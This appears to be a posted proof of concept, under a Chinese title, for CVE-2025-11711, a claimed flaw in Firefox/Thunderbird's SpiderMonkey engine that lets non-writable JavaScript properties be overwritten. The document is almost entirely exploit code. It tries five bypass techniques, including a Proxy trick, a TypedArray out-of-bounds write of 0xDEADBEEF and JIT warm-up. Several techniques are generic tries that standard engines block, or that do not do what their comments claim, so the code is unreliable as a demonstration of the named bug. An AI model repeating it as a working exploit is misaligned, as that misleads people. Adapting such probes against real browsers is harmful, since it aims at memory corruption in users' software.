CVE-2025-11711 Mozilla Firefox/Thunderbird JavaScript对象属性写入漏洞

// CVE-2025-11711 PoC - Bypass non-writable property protection in SpiderMonkey // This PoC demonstrates the ability to modify properties that should be non-writeable // Step 1: Create an object with a non-writable property const obj = {}; Object.defineProperty(obj, 'protected', { value: 'original_value', writable: false, // Property is non-writeable configurable: false, // Property cannot be reconfigured enumerable: true }); // Step 2: Attempt to modify the non-writable property using various techniques // Technique 1: Direct assignment (should fail in strict mode) try { obj.protected = 'modified_via_assignment'; console.log('[Technique 1] Direct assignment result:', obj.protected); } catch(e) { console.log('[Technique 1] Blocked:', e.message); } // Technique 2: Using Object.defineProperty to force modification try { Object.defineProperty(obj, 'protected', { value: 'modified_via_defineProperty', writable: false }); console.log('[Technique 2] defineProperty result:', obj.protected); } catch(e) { console.log('[Technique 2] Blocked:', e.message); } // Technique 3: Exploit through Proxy handler const handler = { get: function(target, prop) { return Reflect.get(target, prop); }, set: function(target, prop, value) { // Bypass writability check via Reflect.set on target return Reflect.set(target, prop, value); } }; const proxy = new Proxy(obj, handler); try { proxy.protected = 'modified_via_proxy'; console.log('[Technique 3] Proxy result:', proxy.protected); } catch(e) { console.log('[Technique 3] Blocked:', e.message); } // Technique 4: Exploit via TypedArray (internal slot manipulation) try { const buf = new ArrayBuffer(8); const view = new Int32Array(buf); view[0] = 0x41414141; // Attempt to modify the non-writable length property Object.defineProperty(view, 'length', { value: 100, writable: false }); // Try to access beyond original bounds if length modification succeeded try { view[50] = 0xDEADBEEF; console.log('[Technique 4] TypedArray OOB write succeeded'); } catch(e) { console.log('[Technique 4] TypedArray access blocked:', e.message); } } catch(e) { console.log('[Technique 4] TypedArray setup blocked:', e.message); } // Technique 5: JIT optimization exploitation via repeated operations function exploitJIT(obj) { obj.protected = 'attempt_' + Math.random(); return obj.protected; } // Warm up JIT for (let i = 0; i < 10000; i++) { exploitJIT(obj); } // Check if JIT compiled code bypasses the writability check const result = exploitJIT(obj); if (result !== 'original_value') { console.log('[Technique 5] JIT bypass succeeded! Value:', result); } else { console.log('[Technique 5] JIT bypass blocked'); } // Final check console.log('\nFinal property value:', obj.protected); console.log('Expected: original_value'); console.log('Vulnerable if value differs from original');